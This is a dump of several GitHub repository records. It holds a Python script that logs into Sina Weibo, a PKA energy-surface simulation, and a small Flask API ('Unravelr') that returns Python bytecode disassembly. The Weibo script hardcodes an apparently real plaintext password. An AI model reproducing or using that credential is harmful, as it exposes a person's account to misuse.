'vsnf': '1',\n 'vsnval': '',\n 'su': '',\n 'service': 'miniblog',\n 'servertime': '',\n 'nonce': '',\n 'pwencode': 'wsse',\n 'sp': '',\n 'encoding': 'UTF-8',\n 'url': 'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack',\n 'returntype': 'META'\n}\n\ndef get_servertime():\n url = 'http://login.sina.com.cn/sso/prelogin.php?entry=weibo&callback=sinaSSOController.preloginCallBack&su=aGFvb2xpbmUlNDBob3RtYWlsLmNvbQ%3D%3D&rsakt=mod&checkpin=1&client=ssologin.js(v1.4.18)&_=1446904545959'\n data = urllib.request.urlopen(url).read()\n cer = re.compile('\\((.*)\\)',flags = 0)\n try:\n json_data = cer.findall(data.decode('GBK'))\n data = json.loads(json_data[0])\n servertime = str(data['servertime'])\n nonce = data['nonce']\n return servertime, nonce\n except:\n print('Get severtime error!')\n return None\n\ndef get_pwd(pwd, servertime, nonce):\n pwd1 = hashlib.sha1(pwd.encode(encoding=\"utf-8\")).hexdigest()\n pwd2 = hashlib.sha1(pwd1.encode(encoding=\"utf-8\")).hexdigest()\n pwd3_ = pwd2 + servertime + nonce\n pwd3 = hashlib.sha1(pwd3_.encode(encoding=\"utf-8\")).hexdigest()\n return pwd3\n\ndef get_user(username):\n username_ = urllib.parse.quote(username)\n print(username_)\n username = base64.encodestring(username_.encode(encoding=\"utf-8\"))[:-1]\n print(username)\n return username\n\n\ndef login():\n username = '[email protected]'\n pwd = '200601405hao@!@)'\n url = 'http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.18)'\n print(username)\n try:\n servertime, nonce = get_servertime()\n except:\n return\n global postdata\n postdata['servertime'] = servertime\n postdata['nonce'] = nonce\n postdata['su'] = get_user(username)\n postdata['sp'] = get_pwd(pwd, servertime, nonce)\n head = {'User-Agent':'Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0'}\n cj = http.cookiejar.CookieJar()\n pro = urllib.request.HTTPCookieProcessor(cj)\n opener = urllib.request.build_opener(pro)\n header = []\n for key,value in head.items():\n elem = (key,value)\n header.append(elem)\n opener.addheaders = header\n postData = urllib.parse.urlencode(postdata).encode()\n op = opener.open(url,data=postData)\n result = op.read()\n cer = re.compile('location\\.replace\\(\"(.*?)\"\\)')\n try:\n login_url = cer.findall(result.decode(\"GBK\"))\n op = opener.open(login_url[0])\n msg_file = open('login_message.html','wb')\n msg_file.write(op.read())\n print(\"登录成功!\")\n except Exception as e:\n print(e)\n\nlogin()\n" } ]
1
slochower/SG-model-v2
https://github.com/slochower/SG-model-v2
83835910e6e5b5744f8523488c0f40a8459c820b
11f016ff261be59034c0d5de4e4d2170f3ba95ce
2d560c6347967c6ab9c5d4c9de7e9a759e23524d
refs/heads/master
2016-09-17T00:35:50.968045
2016-08-18T01:05:52
2016-08-18T01:05:52
65,794,894
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6052631735801697, "alphanum_fraction": 0.6052631735801697, "avg_line_length": 29.399999618530273, "blob_id": "e41288794ee6fcd84b9679331445d067c7545c8e", "content_id": "8ceaea9f09056d89a9ab2be6a3f1079387aa0980", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 152, "license_type": "no_license", "max_line_length": 53, "num_lines": 5, "path": "/data.py", "repo_name": "slochower/SG-model-v2", "src_encoding": "UTF-8", "text": "import glob as glob\n\ndir = './pka-md-data/'\nunbound_files = sorted(glob.glob(dir + 'apo/' + '*'))\nbound_files = sorted(glob.glob(dir + 'atpmg/' + '*'))\n" }, { "alpha_fraction": 0.5421228408813477, "alphanum_fraction": 0.5577625036239624, "avg_line_length": 45.44552230834961, "blob_id": "d2cae46ac40c454adafefc14e68565ba782a8869", "content_id": "411211be5d06808ed37e6ef31d9509f4fcdd1713", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19182, "license_type": "no_license", "max_line_length": 134, "num_lines": 413, "path": "/simulation.py", "repo_name": "slochower/SG-model-v2", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nfrom __future__ import division, print_function\n\nimport math as math\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\nimport numpy as np\nfrom matplotlib.gridspec import GridSpec\nfrom scipy.ndimage.filters import gaussian_filter\n\nfrom aesthetics import *\n\n\nclass simulation(object):\n def plot_energy(self):\n \"\"\"\n This function plots the unbound and bound energies associated with a simulation object.\n \"\"\"\n fig = plt.figure(figsize=(12, 12))\n gs = GridSpec(2, 2, wspace=0.2, hspace=0.5)\n ax1 = plt.subplot(gs[0, 0])\n ax2 = plt.subplot(gs[0, 1])\n ax1.plot(range(self.bins), self.unbound, c='r')\n ax1.set_title('Unbound chemical-potential-like energies', y=1.05)\n ax1.set_xlabel('Bins')\n ax2.plot(range(self.bins), self.bound, c='b')\n ax2.set_title('Bound chemical-potential-like energies', y=1.05)\n ax2.set_xlabel('Bins')\n fetching_plot(fig, ax1)\n fetching_plot(fig, ax2)\n plt.show()\n\n def plot_ss(self):\n \"\"\"\n This function plots the steady-state distribution and Boltzmann PDF associated with a simulation object.\n By default, this will plot the eigenvector-derived steady-state distribution.\n \"\"\"\n\n fig = plt.figure(figsize=(12, 12))\n gs = GridSpec(2, 2, wspace=0.4, hspace=0.5)\n ax1 = plt.subplot(gs[0, 0])\n ax2 = plt.subplot(gs[0, 1])\n ax1.plot(range(self.bins), self.ss[0:self.bins], c='r', label='SS')\n # ax1.plot(range(self.bins), self.PDF_unbound, c='k', label='PDF')\n # ax1.legend()\n ax1.yaxis.set_major_formatter(mpl.ticker.ScalarFormatter(useMathText=True, useOffset=False))\n ax1.set_title('Unbound steady-state', y=1.05)\n ax1.set_xlabel('Bins')\n\n ax2.plot(range(self.bins), self.ss[self.bins:2 * self.bins], c='b', label='SS')\n # ax2.plot(range(self.bins), self.PDF_bound, c='k', label='PDF')\n ax2.set_title('Bound steady-state', y=1.05)\n ax2.yaxis.set_major_formatter(mpl.ticker.ScalarFormatter(useMathText=True, useOffset=False))\n # ax2.legend()\n ax2.set_xlabel('Bins')\n\n fetching_plot(fig, ax1)\n fetching_plot(fig, ax2)\n plt.show()\n\n def plot_flux(self, label=None):\n \"\"\"\n This function plots the intrasurface flux sum and labels the graph with the attributions of the\n simulation object.\n \"\"\"\n fig = plt.figure(figsize=(8, 6))\n gs = GridSpec(1, 1, wspace=0.2, hspace=0.5)\n ax1 = plt.subplot(gs[0, 0])\n ax1.plot(range(self.bins), self.flux_u, c='r', label='U')\n ax1.plot(range(self.bins), self.flux_b, c='b', label='B')\n ax1.plot(range(self.bins), self.flux_b + self.flux_u, c='k', label='U+B')\n ax1.yaxis.set_major_formatter(mpl.ticker.ScalarFormatter(useMathText=True, useOffset=False))\n # ax1.legend()\n ax1.set_xlabel('Bins')\n ax1.set_ylabel('Intrausrface flux (cycles/second)')\n if self.name is not None:\n ax1.set_title(self.name)\n print('{}: C_intrasurface = {:6.2e}, C_intersurface = {}, catalytic rate = {}, cATP = {}, dt = {}'.format(label,\n self.C_intrasurface,\n self.C_intersurface,\n self.catalytic_rate,\n self.cATP,\n self.dt))\n fetching_plot(fig, ax1)\n plt.show()\n\n def plot_load(self):\n fig = plt.figure(figsize=(12, 12))\n gs = GridSpec(2, 2, wspace=0.4, hspace=0.5)\n ax1 = plt.subplot(gs[0, 0])\n ax2 = plt.subplot(gs[0, 1])\n ax1.plot(range(self.bins), self.unbound, c='r')\n ax1.plot(range(self.bins), [self.unbound[i] + self.load_function(i) for i in range(self.bins)], c='k')\n ax1.yaxis.set_major_formatter(mpl.ticker.ScalarFormatter(useMathText=True, useOffset=False))\n ax1.set_title('Unbound', y=1.05)\n\n ax2.plot(range(self.bins), self.bound, c='b', label='SS')\n ax2.plot(range(self.bins), [self.bound[i] + self.load_function(i) for i in range(self.bins)], c='k',\n label='PDF')\n ax2.set_title('Bound', y=1.05)\n ax2.yaxis.set_major_formatter(mpl.ticker.ScalarFormatter(useMathText=True, useOffset=False))\n\n pretty_label(ax1)\n pretty_label(ax2)\n plt.show()\n\n def plot_load_extrapolation(self):\n fig = plt.figure(figsize=(12, 12))\n gs = GridSpec(2, 2, wspace=0.4, hspace=0.5)\n ax1 = plt.subplot(gs[0, 0])\n ax2 = plt.subplot(gs[0, 1])\n\n extended_u = np.tile(self.unbound, 4)\n extended_b = np.tile(self.bound, 4)\n\n ax1.plot(range(-2 * self.bins, 2 * self.bins),\n [extended_u[i] + self.load_function(i) for i in np.arange(-2 * self.bins, 2 * self.bins)], c='k')\n print([extended_u[i] + self.load_function(i) for i in np.arange(-2 * self.bins, 2 * self.bins)])\n ax1.yaxis.set_major_formatter(mpl.ticker.ScalarFormatter(useMathText=True, useOffset=False))\n ax1.set_title('Unbound', y=1.05)\n\n ax2.plot(range(-2 * self.bins, 2 * self.bins),\n [extended_b[i] + self.load_function(i) for i in np.arange(-2 * self.bins, 2 * self.bins)], c='k')\n ax2.set_title('Bound', y=1.05)\n ax2.yaxis.set_major_formatter(mpl.ticker.ScalarFormatter(useMathText=True, useOffset=False))\n\n pretty_label(ax1)\n pretty_label(ax2)\n plt.show()\n\n def data_to_energy(self, histogram):\n \"\"\"\n This function takes in population histograms from Chris' PKA data and\n (a) smoothes them with a Gaussian kernel with width 1;\n (b) eliminates zeros by setting any zero value to the minimum of the data;\n (c) turns the pouplation histograms to energy surfaces.\n \"\"\"\n\n histogram_smooth = gaussian_filter(histogram, 1)\n histogram_copy = np.copy(histogram_smooth)\n for i in range(len(histogram)):\n if histogram_smooth[i] != 0:\n histogram_copy[i] = histogram_smooth[i]\n else:\n histogram_copy[i] = min(histogram_smooth[np.nonzero(histogram_smooth)])\n histogram_smooth = histogram_copy\n assert (not np.any(histogram_smooth == 0))\n histogram_smooth /= np.sum(histogram_smooth)\n energy = -self.kT * np.log(histogram_smooth)\n return energy\n\n def calculate_boltzmann(self):\n boltzmann_unbound = np.exp(-1 * np.array(self.unbound) / self.kT)\n boltzmann_bound = np.exp(-1 * np.array(self.bound) / self.kT)\n self.PDF_unbound = boltzmann_unbound / np.sum((boltzmann_unbound))\n self.PDF_bound = boltzmann_bound / np.sum((boltzmann_bound))\n\n def calculate_intrasurface_rates(self, energy_surface):\n \"\"\"\n This function calculates intrasurface rates using the energy difference between adjacent bins.\n \"\"\"\n forward_rates = self.C_intrasurface * np.exp(-1 * np.diff(energy_surface) / float(2 * self.kT))\n backward_rates = self.C_intrasurface * np.exp(+1 * np.diff(energy_surface) / float(2 * self.kT))\n rate_matrix = np.zeros((self.bins, self.bins))\n for i in range(self.bins - 1):\n rate_matrix[i][i + 1] = forward_rates[i]\n rate_matrix[i + 1][i] = backward_rates[i]\n rate_matrix[0][self.bins - 1] = self.C_intrasurface * np.exp(\n -(energy_surface[self.bins - 1] - energy_surface[0]) / float(2 * self.kT))\n rate_matrix[self.bins - 1][0] = self.C_intrasurface * np.exp(\n +(energy_surface[self.bins - 1] - energy_surface[0]) / float(2 * self.kT))\n return rate_matrix\n\n def calculate_intrasurface_rates_with_load(self, energy_surface):\n \"\"\"\n This function calculates intrasurface rates using the energy difference between adjacent bins.\n \"\"\"\n\n surface_with_load = [energy_surface[i] + self.load_function(i) for i in range(self.bins)]\n # This should handle the interior elements just fine.\n self.forward_rates = self.C_intrasurface * \\\n np.exp(-1 * np.diff(surface_with_load) / float(2 * self.kT))\n self.backward_rates = self.C_intrasurface * \\\n np.exp(+1 * np.diff(surface_with_load) / float(2 * self.kT))\n rate_matrix = np.zeros((self.bins, self.bins))\n for i in range(self.bins - 1):\n rate_matrix[i][i + 1] = self.forward_rates[i]\n rate_matrix[i + 1][i] = self.backward_rates[i]\n\n # But now the PBCs are a little tricky...\n rate_matrix[0][self.bins - 1] = self.C_intrasurface * np.exp(\n -(energy_surface[self.bins - 1] + self.load_function(-1) -\n (energy_surface[0] + self.load_function(0))) / float(2 * self.kT))\n\n rate_matrix[self.bins - 1][0] = self.C_intrasurface * np.exp(\n +(energy_surface[self.bins - 1] + self.load_function(self.bins - 1) -\n (energy_surface[0] + self.load_function(self.bins))) / float(2 * self.kT))\n\n return rate_matrix\n\n def calculate_intersurface_rates(self, unbound_surface, bound_surface):\n \"\"\"\n This function calculates the intersurface rates in two ways.\n For bound to unbound, the rates are calculated according to the energy difference and the catalytic rate.\n For unbound to bound, the rates depend on the prefactor and the concentration of ATP.\n \"\"\"\n bu_rm = np.empty((self.bins))\n ub_rm = np.empty((self.bins))\n for i in range(self.bins):\n bu_rm[i] = (self.C_intersurface *\n np.exp(-1 * (unbound_surface[i] - bound_surface[i]) / float(self.kT)) +\n self.catalytic_rate)\n ub_rm[i] = self.C_intersurface * self.cATP\n return ub_rm, bu_rm\n\n def compose_tm(self, u_rm, b_rm, ub_rm, bu_rm):\n \"\"\"\n We take the four rate matrices (two single surface and two intersurface) and inject them into the transition matrix.\n \"\"\"\n if self.extra_precision:\n tm = np.zeros((2 * self.bins, 2 * self.bins), dtype=np.longdouble)\n else:\n tm = np.zeros((2 * self.bins, 2 * self.bins))\n tm[0:self.bins, 0:self.bins] = u_rm\n tm[self.bins:2 * self.bins, self.bins:2 * self.bins] = b_rm\n for i in range(self.bins):\n tm[i, i + self.bins] = ub_rm[i]\n tm[i + self.bins, i] = bu_rm[i]\n self.tm = self.scale_tm(tm)\n return\n\n def scale_tm(self, tm):\n \"\"\"\n The transition matrix is scaled by `dt` so all rows sum to 1 and all elements are less than 1.\n This should not use `self` subobjects, except for `dt` because we are mutating the variables.\n \"\"\"\n row_sums = tm.sum(axis=1, keepdims=True)\n maximum_row_sum = int(math.log10(max(row_sums)))\n self.dt = 10 ** -(maximum_row_sum + 1)\n tm_scaled = self.dt * tm\n row_sums = tm_scaled.sum(axis=1, keepdims=True)\n if np.any(row_sums > 1):\n print('Row sums unexpectedly greater than 1.')\n for i in range(2 * self.bins):\n tm_scaled[i][i] = 1.0 - row_sums[i]\n return tm_scaled\n\n def calculate_eigenvector(self):\n \"\"\"\n The eigenvectors and eigenvalues of the transition matrix are computed and the steady-state population is\n assigned to the eigenvector with an eigenvalue of 1.\n \"\"\"\n self.eigenvalues, eigenvectors = np.linalg.eig(np.transpose(self.tm))\n ss = abs(eigenvectors[:, self.eigenvalues.argmax()].astype(float))\n self.ss = ss / np.sum(ss)\n return\n\n def calculate_flux(self, ss, tm):\n \"\"\"\n This function calculates the intrasurface flux using the steady-state distribution and the transition matrix.\n The steady-state distribution is a parameter so this function can be run with either the eigenvector-derived\n steady-state distribution or the interated steady-state distribution.\n \"\"\"\n flux_u = np.empty((self.bins))\n flux_b = np.empty((self.bins))\n for i in range(self.bins):\n if i == 0:\n flux_u[i] = -1 * (- ss[i] * tm[i][i + 1] / self.dt + ss[i + 1] * tm[i + 1][i] / self.dt)\n if i == self.bins - 1:\n flux_u[i] = -1 * (- ss[i] * tm[i][0] / self.dt + ss[0] * tm[0][i] / self.dt)\n else:\n flux_u[i] = -1 * (- ss[i] * tm[i][i + 1] / self.dt + ss[i + 1] * tm[i + 1][i] / self.dt)\n for i in range(self.bins, 2 * self.bins):\n if i == self.bins:\n flux_b[i - self.bins] = -1 * (- ss[i] * tm[i][i + 1] / self.dt + ss[i + 1] * tm[i + 1][i] / self.dt)\n if i == 2 * self.bins - 1:\n flux_b[i - self.bins] = -1 * (\n - ss[i] * tm[i][self.bins] / self.dt + ss[self.bins] * tm[self.bins][i] / self.dt)\n else:\n flux_b[i - self.bins] = -1 * (- ss[i] * tm[i][i + 1] / self.dt + ss[i + 1] * tm[i + 1][i] / self.dt)\n self.flux_u = flux_u\n self.flux_b = flux_b\n return\n\n def iterate(self, iterations=None):\n \"\"\"\n A template population distribution is multiplied by the transition matrix.\n By default, iterations are 0. The output of this command is set to\n `self.iterative_ss` which can be passed to `calculate_flux`.\n The new population can be set to a normalized random distribution or the eigenvector-derived\n steady-state distribution.\n \"\"\"\n print('Running iterative method with {} iterations'.format(self.iterations))\n population = np.random.rand(2 * self.bins)\n row_sums = population.sum(axis=0, keepdims=True)\n population = population / row_sums\n iterations = 0\n if self.ss is not None:\n new_population = self.ss\n for i in range(self.iterations):\n new_population = np.dot(new_population, self.tm)\n self.iterative_ss = new_population\n return\n\n def simulate(self, plot=False, debug=False, pka_md_data=True):\n \"\"\"\n Now this function takes in a file(name) and determins the energy surfaces automatically,\n so I don't forget to do it in an interactive session.\n This function runs the `simulation` which involves:\n (a) setting the unbound intrasurface rates,\n (b) setting the bound intrasurface rates,\n (c) setting the intersurface rates,\n (d) composing the transition matrix,\n (e) calculating the eigenvectors of the transition matrix,\n (f) calculating the intrasurface flux,\n and optionally (g) running an interative method to determine the steady-state distribution.\n \"\"\"\n if pka_md_data:\n try:\n self.unbound_population = np.genfromtxt(self.dir + '/apo/' + self.name + '_chi_pop_hist_targ.txt',\n delimiter=',',\n skip_header=1)\n self.bound_population = np.genfromtxt(self.dir + '/atpmg/' + self.name + '_chi_pop_hist_ref.txt',\n delimiter=',',\n skip_header=1)\n except IOError:\n print('Cannot read {} from {}.'.format(self.name, self.dir))\n except:\n print('Unknown error.')\n else:\n # Populations are supplied manually.\n pass\n\n self.unbound = self.data_to_energy(self.unbound_population)\n self.bound = self.data_to_energy(self.bound_population) - self.offset_factor\n\n self.bins = len(self.unbound)\n self.tm = np.zeros((self.bins, self.bins))\n self.C_intrasurface = self.C_intrasurface_0 / (360. / self.bins) ** 2 # per degree per second\n\n if not self.load:\n u_rm = self.calculate_intrasurface_rates(self.unbound)\n b_rm = self.calculate_intrasurface_rates(self.bound)\n if self.load:\n u_rm = self.calculate_intrasurface_rates_with_load(self.unbound)\n b_rm = self.calculate_intrasurface_rates_with_load(self.bound)\n\n ub_rm, bu_rm = self.calculate_intersurface_rates(self.unbound, self.bound)\n self.compose_tm(u_rm, b_rm, ub_rm, bu_rm)\n self.calculate_eigenvector()\n self.calculate_boltzmann()\n self.calculate_flux(self.ss, self.tm)\n if plot:\n if not self.load:\n self.plot_energy()\n else:\n self.plot_load()\n self.plot_ss()\n self.plot_flux(label='Eigenvector method')\n if self.iterations != 0:\n self.iterate(self.iterations)\n self.calculate_flux(self.iterative_ss, self.tm)\n if plot:\n self.plot_flux(label='Iterative method')\n if debug:\n self.parameters = {\n 'C_intersurface': self.C_intersurface,\n 'C_intrasurface': self.C_intrasurface,\n 'kT': self.kT,\n 'cATP': self.cATP,\n 'offset_factor': self.offset_factor,\n 'catalytic rate': self.catalytic_rate,\n 'iterations': self.iterations,\n 'load': self.load,\n 'load_slope': self.load_slope,\n 'bins': self.bins,\n 'steady_state': self.ss,\n 'flux': self.flux_u + self.flux_b,\n 'unbound_energy': self.unbound,\n 'bound_energy': self.bound,\n 'transition_matrix': self.tm,\n 'dt': self.dt,\n 'eigenvalues': self.eigenvalues,\n 'PDF_unbound': self.PDF_unbound,\n 'PDF_bound': self.PDF_bound,\n 'extra_precision': self.extra_precision\n }\n return\n\n def load_function(self, x):\n return x * self.load_slope / self.bins\n\n def __init__(self):\n \"\"\"\n These values are assigned to a new object, unless overridden later.\n \"\"\"\n self.dir = 'pka-md-data'\n self.name = None\n self.kT = 0.6 # RT = 0.6 kcal per mol\n self.C_intrasurface_0 = 1.71 * 10 ** 14 # degree per second\n self.C_intersurface = 0.24 * 10 ** 6 # per mole per second\n self.cATP = 2 * 10 ** -3 # molar\n self.offset_factor = 6.25 # kcal per mol\n self.catalytic_rate = 140 # per second\n self.iterations = 0\n self.extra_precision = False\n self.load = False\n if self.load:\n self.load_slope = self.bins # kcal per mol per (2 * pi) radians\n else:\n self.load_slope = 0\n" } ]
2
msarfati/unravelr
https://github.com/msarfati/unravelr
55e36ba9658ceafda033ff619cd3cc5124a47faa
f71cf2719d78a828528dc0b80c88ea9f66f71921
1d3a8d9e7dfa6d39b953eadd603b92c96fe7d0e8
refs/heads/master
2021-01-12T09:11:48.136438
2016-12-25T23:29:59
2016-12-25T23:29:59
76,788,234
2
1
null
null
null
null
null
[ { "alpha_fraction": 0.71849125623703, "alphanum_fraction": 0.7212511301040649, "avg_line_length": 22.148935317993164, "blob_id": "cd37b846a17339611d7914bb43a3c53d390475a1", "content_id": "ecef05ff567fb159e17a87fb61958d43a97a04e7", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1087, "license_type": "permissive", "max_line_length": 106, "num_lines": 47, "path": "/Makefile", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "SHELL=/bin/bash\nPROJECT_NAME=Unravelr\nDEV_CONFIG=$$PWD/etc/dev.conf\nPRODUCTION_CONFIG=/etc/unravelr.conf\nCURRENT_CONFIG=$(DEV_CONFIG)\nTEST_DUMP=./maketests.log\nTESTING_CONFIG=$$PWD/etc/testing.conf\nTEST_CMD=SETTINGS=$(TESTING_CONFIG) nosetests --verbosity=2 --where=./unravelr/tests\n\ninstall:\n\tpython setup.py install\n\nprototype:\n\tipython -i bin/prototype.py\n\nclean:\n\trm -rf build dist *.egg-info\n\t-rm `find . -name \"*.pyc\"`\n\tfind . -name \"__pycache__\" -delete\n\nserver:\n\tSETTINGS=$(CURRENT_CONFIG) bin/manage.py runserver\n\nshell:\n\tSETTINGS=$(CURRENT_CONFIG) bin/manage.py shell\n\ntest:\n\trm -f $(TEST_DUMP)\n\t$(TEST_CMD) 2>&1 | tee -a $(TEST_DUMP)\n\nsingle:\n\t$(TEST_CMD) --attr=single\n\nwatch:\n\twatchmedo shell-command -R -p \"*.py\" -c 'echo \\\\n\\\\n\\\\n\\\\nSTART; date; $(TEST_CMD); date' .\n\nwheelhouse:\n\tpython setup.py bdist_wheel\n\nbuild-wheels:\n\tpip wheel .\n\tpip wheel -r dependencies.txt\n\ninstall-wheels:\n\tpip install --use-wheel --find-links=wheelhouse --no-index -r dependencies.txt\n\n.PHONY: clean install test server watch single docs shell wheelhouse prototype build-wheels install-wheels" }, { "alpha_fraction": 0.5559055209159851, "alphanum_fraction": 0.5559055209159851, "avg_line_length": 20.16666603088379, "blob_id": "4a1af6ca342bfa4cb7f426e7b97595d2f2b031b2", "content_id": "ca8832f1ffd795830b294916c60d10150060f1ed", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 635, "license_type": "permissive", "max_line_length": 50, "num_lines": 30, "path": "/unravelr/tests/mixins.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "from .. import create_app\nfrom flask import current_app\nfrom flask_testing import TestCase\n\n\nclass TestCaseMixin(TestCase):\n \"\"\"\n Use with flask.ext.testing.TestCase\n \"\"\"\n\n def create_app(self):\n\n app = create_app()\n app.config['TESTING'] = True\n app.config['WTF_CSRF_ENABLED'] = False\n # super().create_app()\n return app\n\n def setUp(self):\n \"\"\"\n Prepare for a test case.\n \"\"\"\n current_app.logger.debug(\"setup complete\")\n super().setUp()\n\n def tearDown(self):\n \"\"\"\n Clean up after a test case.\n \"\"\"\n super().tearDown()\n" }, { "alpha_fraction": 0.6058952212333679, "alphanum_fraction": 0.6299126744270325, "avg_line_length": 37.16666793823242, "blob_id": "ecfc8a32e9ccf3c2f4fa0bbaf639a08441734677", "content_id": "72873a7b7a5ca0cace39ce9b572f73df05db831b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 916, "license_type": "permissive", "max_line_length": 129, "num_lines": 24, "path": "/unravelr/tests/test_api/test_disassembler.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "from ..mixins import TestCaseMixin\nfrom nose.plugins.attrib import attr\nimport json\n\n\nclass DisassemblerTestCase(TestCaseMixin):\n\n # @attr('single')\n def test_get(self):\n \"Testing api.Disassembler.get\"\n r = self.client.get(\"/api/disassembler\")\n self.assertEquals(r.status_code, 200)\n # self.assertGreaterEqual(len(r.json['ciphers']), 2, \"Payload serializable.\")\n\n # @attr('single')\n def test_post(self):\n \"Testing api.Disassembler.post on valid input\"\n # curl -H \"Content-Type:application/json\" -X POST -d '{\"payload\": \"x=abs(-3)*9\"}' http://127.0.0.1:55555/api/disassembler\n r = self.client.post(\n \"/api/disassembler\",\n data=json.dumps({\"payload\": \"\"\"x=abs(-9)\"\"\"}),\n content_type='application/json',)\n self.assertEquals(r.status_code, 200)\n self.assertGreaterEqual(len(r.json), 1, \"Payload serializable.\")\n" }, { "alpha_fraction": 0.5087040662765503, "alphanum_fraction": 0.7079303860664368, "avg_line_length": 16.233333587646484, "blob_id": "d3a09b2a068d79328476a6c7ff41c45585301948", "content_id": "ba7e81f12bc8e70e3cdaf66f729f8c980b245894", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 517, "license_type": "permissive", "max_line_length": 24, "num_lines": 30, "path": "/requirements.txt", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "aniso8601==1.2.0\nclick==6.6\ndecorator==4.0.10\nFlask==0.11.1\nflask-marshmallow==0.7.0\nFlask-RESTful==0.3.5\nFlask-Script==2.0.5\nFlask-Testing==0.6.1\nipdb==0.10.1\nipython==5.1.0\nipython-genutils==0.1.0\nitsdangerous==0.24\nJinja2==2.8\nMarkupSafe==0.23\nmarshmallow==2.10.4\nnose==1.3.7\npexpect==4.2.1\npickleshare==0.7.4\nprompt-toolkit==1.0.9\nptyprocess==0.5.1\nPygments==2.1.3\npython-dateutil==2.6.0\npytz==2016.10\nsimplegeneric==0.8.1\nsix==1.10.0\ntraitlets==4.3.1\nUnravelr==0.1\nwcwidth==0.1.7\nWerkzeug==0.11.11\nwheel==0.26.0\n" }, { "alpha_fraction": 0.6108452677726746, "alphanum_fraction": 0.6156299710273743, "avg_line_length": 26.866666793823242, "blob_id": "ea823bad2afb5cffb765f612aa86daecfd610ce2", "content_id": "cbd84d7b43e9c8a51954a7365aba2dd4dee484bd", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1254, "license_type": "permissive", "max_line_length": 105, "num_lines": 45, "path": "/unravelr/api/disassembler.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "from contextlib import contextmanager\nimport dis\nfrom flask import jsonify, request, url_for\nfrom flask_restful import abort, Api, Resource, reqparse, fields, marshal\nimport sys\nfrom io import StringIO\n\n\n@contextmanager\ndef captureStdOut(output):\n stdout = sys.stdout\n sys.stdout = output\n yield\n sys.stdout = stdout\n\n\nclass Disassembler(Resource):\n \"\"\"\n Operations dealing with individual ciphers\n \"\"\"\n # decorators = [auth.login_required]\n\n def get(self):\n # import ipdb; ipdb.set_trace()\n\n try:\n # import ipdb; ipdb.set_trace()\n return jsonify(message=\"POST your code into the 'payload' field to be analyzed by Unravelr.\")\n except:\n abort(404)\n\n def post(self):\n parser = reqparse.RequestParser()\n parser.add_argument('payload', type=str, help='Payload as code, to be analyzed by Unravelr.')\n args = parser.parse_args()\n\n try:\n Binary = compile(args['payload'], \"<string>\", \"exec\")\n result = StringIO()\n with captureStdOut(result):\n dis.dis(Binary)\n # import ipdb; ipdb.set_trace()\n return jsonify(dict(result=result.getvalue()))\n except:\n abort(404)\n" }, { "alpha_fraction": 0.6511628031730652, "alphanum_fraction": 0.6511628031730652, "avg_line_length": 17.428571701049805, "blob_id": "70d1a50d0569c03e20aefce6a85033fac8f87941", "content_id": "ec996f275016602c08a46434e1357471ad337f21", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 258, "license_type": "permissive", "max_line_length": 46, "num_lines": 14, "path": "/unravelr/views/frontend/__init__.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "import flask\n\nfrontend = flask.Blueprint(\n 'frontend',\n __name__,\n template_folder='templates',\n static_folder='static',\n static_url_path='/static/frontend',\n)\n\n\[email protected]('/')\ndef index():\n return flask.render_template('index.html')\n" }, { "alpha_fraction": 0.6648648381233215, "alphanum_fraction": 0.699999988079071, "avg_line_length": 15.086956977844238, "blob_id": "a350000e0a154693a035a3d90dd97398438abee9", "content_id": "e84a69b203ee9821f87ce220bc72e39848b6c927", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 370, "license_type": "permissive", "max_line_length": 66, "num_lines": 23, "path": "/Readme.md", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "# :snake: Unravelr :snake:\nA web-based disassembler for Python code, featuring a RESTful API.\n\nBy Michael Sarfati ([email protected])\n\nSun Dec 18 09:37:18 EST 2016\n\n## Installation\n### Make Virtual Environment\n```bash\nmkvirtualenv -p `which python3` -a . unravelr\n```\n\n### Installation and testing\n```bash\nmake install\nmake test\n```\n\n## Running the Unravelr Server\n```bash\nmake server\n```\n" }, { "alpha_fraction": 0.6124700307846069, "alphanum_fraction": 0.6139088869094849, "avg_line_length": 23.52941131591797, "blob_id": "c80a10433f56699f3ea251f2e87932e75c107376", "content_id": "4e98718487a885f6e71bb147e2484e71f0346ba2", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2085, "license_type": "permissive", "max_line_length": 89, "num_lines": 85, "path": "/unravelr/__init__.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "from flask import Flask\n\napp_instance = None\n\n# from flask.ext.httpauth import HTTPBasicAuth\n# auth = HTTPBasicAuth()\n\nfrom flask_marshmallow import Marshmallow\nma = Marshmallow()\n\nfrom flask_restful import Api\nrest_api = Api()\n\nfrom flask_bootstrap import Bootstrap\nbootstrap = Bootstrap()\n\n\nclass Unravelr:\n\n def __init__(self, app=None):\n self.app = app\n if app is not None:\n self.init_app(app)\n\n def 